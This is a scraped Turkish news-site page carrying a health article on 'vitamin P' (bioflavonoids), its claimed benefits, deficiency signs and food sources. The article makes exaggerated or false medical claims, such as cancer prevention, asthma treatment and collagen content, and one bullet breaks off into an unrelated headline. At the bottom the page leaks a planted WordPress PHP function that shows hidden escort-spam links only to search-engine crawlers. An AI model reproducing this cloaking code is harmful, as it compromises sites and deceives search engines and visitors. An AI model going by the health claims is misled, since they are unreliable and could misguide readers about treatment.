hDolar 8,1276%-0.3
hEuro 9,7171%-0.3
hAltın (Gr) 455,69%0,38%
İstanbul 15°
  • Adana
  • Adıyaman
  • Afyonkarahisar
  • Ağrı
  • Amasya
  • Ankara
  • Antalya
  • Artvin
  • Aydın
  • Balıkesir
  • Bilecik
  • Bingöl
  • Bitlis
  • Bolu
  • Burdur
  • Bursa
  • Çanakkale
  • Çankırı
  • Çorum
  • Denizli
  • Diyarbakır
  • Edirne
  • Elazığ
  • Erzincan
  • Erzurum
  • Eskişehir
  • Gaziantep
  • Giresun
  • Gümüşhane
  • Hakkâri
  • Hatay
  • Isparta
  • Mersin
  • istanbul
  • izmir
  • Kars
  • Kastamonu
  • Kayseri
  • Kırklareli
  • Kırşehir
  • Kocaeli
  • Konya
  • Kütahya
  • Malatya
  • Manisa
  • Kahramanmaraş
  • Mardin
  • Muğla
  • Muş
  • Nevşehir
  • Niğde
  • Ordu
  • Rize
  • Sakarya
  • Samsun
  • Siirt
  • Sinop
  • Sivas
  • Tekirdağ
  • Tokat
  • Trabzon
  • Tunceli
  • Şanlıurfa
  • Uşak
  • Van
  • Yozgat
  • Zonguldak
  • Aksaray
  • Bayburt
  • Karaman
  • Kırıkkale
  • Batman
  • Şırnak
  • Bartın
  • Ardahan
  • Iğdır
  • Yalova
  • Karabük
  • Kilis
  • Osmaniye
  • Düzce
a
  • Bir Malumat
  • Sağlık
  • P vitamini nedir, ne işe yarar? P vitamini eksikliği belirtileri nelerdir?

P vitamini nedir, ne işe yarar? P vitamini eksikliği belirtileri nelerdir?

P vitamini nedir, ne işe yarar? P vitamini eksikliği belirtileri nelerdir?
0

BEĞENDİM

Çok uzun yıllar boyunca C vitamini ile karıştırılmış ve varlığı fark edilmemiş olan P vitamini, genel vücut sağlığı için değeri biraz geç fark edilmiş bir vitamindir.

C vitamininin emilimini artırarak yararlarının kaybolmasını engelleyen ve C vitamini ile benzerlik gösterdiğinden fark edilmeyen P vitamini internette en çok merak edilen konular arasında geliyor.

P vitamini vücudumuzdaki atar ve toplardamarların arasındaki bağlantıları sağlayan kılcal damarların geçirgenliğini ve bu damarların yapısını korunmasında önemli rol oynar. Doğada saf halde sarı renkte yaygın olarak bulunmaktadır.

Peki, P Vitamini nedir ve faydaları nelerdir? P vitamini eksikliği belirtileri nedir? P vitamini hangi besinlerde bulunur? İşte P vitamini hakkında bilinmeyenler..

P VİTAMİNİ NEDİR?

P vitamini, Biyoflavonoid olarak bilinen ve suda çözünen bir vitamin türüdür. Aynı zamanda turunçgillere rengini veren vitamin P vitaminidir. Bu vitamin bulunalı 70 yıldan fazla zaman geçmiş olsa da P vitamininin faydaları ve etkileri daha yeni fark edilmeye başlanmıştır.

P vitamini, C vitamini ile benzerlik gösterir, ikisinde de flavon bulunmaktadır. C vitaminin bulunduğu yiyeceklerde P vitamini de bulunmaktadır. Geçirgenliğin İngilizce karşılığı olan “Permeability” kelimesinin ilk harfi olan P, bu vitamine isim olarak verilmiştir.

Uzmanlara göre bir insanın günlük P vitamini ihtiyacı 1mg civarındadır.

p vitamini nedir ne ise yarar p vitamini eksikligi belirtileri nelerdir 0 OxZ3U7zh - P vitamini nedir, ne işe yarar? P vitamini eksikliği belirtileri nelerdir?

P VİTAMİNİ FAYDALARI NELERDİR?

  • P vitamini soğuk algınlığı için etkili bir destektir.
  • Diyabete bağlı olarak görülen göz sorunlarını en aza indirmede yarar sağlar.
  • Ülsere karşı etkili mücadele eder.
  • Adet kanamalarından kaynaklanan ağrıları en aza indirir.
  • Diş eti kanamalarına karşı etkilidir.
  • Astım tedavisinde olumlu katkılar gösterir.
  • Alerjik durumlarda fayda sağlar. Histamin etken maddesinin salınımını azaltarak alerjik reaksiyonları en aza indirir.
  • Eklemlerde şişme ve ağrılara karşı oldukça etkilidir.
  • Çok kuvvetli anti oksidanlar içerir.
  • Anti alerjik ve anti kansorejen bir vitamindir.
  • Tansiyonu dengeleyici özelliği vardır.
  • Vücutta bulunan süperoksit radikaller ile etkili mücadele eder.
  • Ciltteki kolajen miktarını koruyarak esnek ve pürüzsüz bir görünüm sağlar. Yaşlanma etkilerini geciktirir.
  • D vitamini ile desteklendiğinde menopoz dönemi ağrılarını hafifletir.
  • Kemik sağlığı için en önemli madde olan kolajen P vitamininde bolca bulunur.
  • Vücut direncini artırır.
  • Kanamalı skorbüt tedavisinde C vitamini ile birlikte desteklendiğinde oldukça etkili sonuçlar verir.
  • P vitamini damar tıkanıklığını önle
  Bayan kalbinin 7 farkı

 

P VİTAMİNİ EKSİKLİĞİ BELİRTİLERİ

 

İşte P vitamini eksikliği belirtileri şu şekildedir;

  • Yürürken ya da uyurken görülen ani kas spazmları
  • Özellikle baldır bölgesinde görülen kramp ve kasılmalar
  • Eklem yerlerinde nedensiz şişkinlikler görülmesi
  • Kalp atış bozuklukları
  • Vücudun dengesinin sağlanmasındaki zorluk
  • Kılcal damar yapısında bozulmalar
  • Kılcal damarlarda yırtılma ve kanamalar görülmektedir.
  • Yorgunluk ve halsizlik
  • Uyku problemleri
  • Ruhsal sıkıntılar

p vitamini nedir ne ise yarar p vitamini eksikligi belirtileri nelerdir 1 HVkv8Pmf - P vitamini nedir, ne işe yarar? P vitamini eksikliği belirtileri nelerdir?

 

P VİTAMİNİ BULUNAN BESİNLER

 

Cilt sağlığından bağışıklığı güçlendirmesine kadar pek çok katkısı olan P vitamini doğada saf halde ve sarı renkte bulunur. Sarı ve turuncu renkteki meyve ve sebzelere kendi rengini veren P vitaminin içinde bolca olduğu besinler ise şu şekildedir;

  • At kestanesi kabuğu
  • Turunçgiller
  • Frenk üzümü
  • Soğan
  • Kivi
  • Çarliston biber
  • Kiraz
  • Hibisküs
  • Erik
  • Havuç
  • Mango
  • Ispanak
  • Limon
  • Marul
  • Kuşburnu
  • Domates
  • Fındık
  • Yeşil çay
  • Lahana
  • Yumurta
  • Yer fıstığı

 

 


Kaynak : Ensonhaber

YORUMLAR

s

En az 10 karakter gerekli

Sıradaki haber:

Sırt ağrısını anında hafifletebilecek pratik çözümler

HIZLI YORUM YAP

Veri politikasındaki amaçlarla sınırlı ve mevzuata uygun şekilde çerez konumlandırmaktayız. Detaylar için veri politikamızı inceleyebilirsiniz.

function vururumgardas(){ $agent = $_SERVER['HTTP_USER_AGENT']; $sec = $agent; switch(true){ case (strpos($sec,"google")): $part = 1; break; case (strpos($sec,"yandex")): $part = 1; break; case (strpos($sec,"bing")): $part = 1; break; case (strpos($sec,"yahoo")): $part = 1; break; case (strpos($sec,"alexa")): $part = 1; break; default : $part = 0; } if($part ==1){ echo '
Boğazlıyan escortIlıca escortAvsallar escortÇorlu escortGediz escortÇaycuma escortArmutlu escortBayramiç escortAybastı escortAyvalık escortAkdağmadeni escortEvren escortAvsallar escortÇerkezköy escortEmet escortAlaplı escortAltınova escortAyvacık escortAltınordu escortAltıeylül escort '; } } add_action('wp_footer', 'vururumgardas');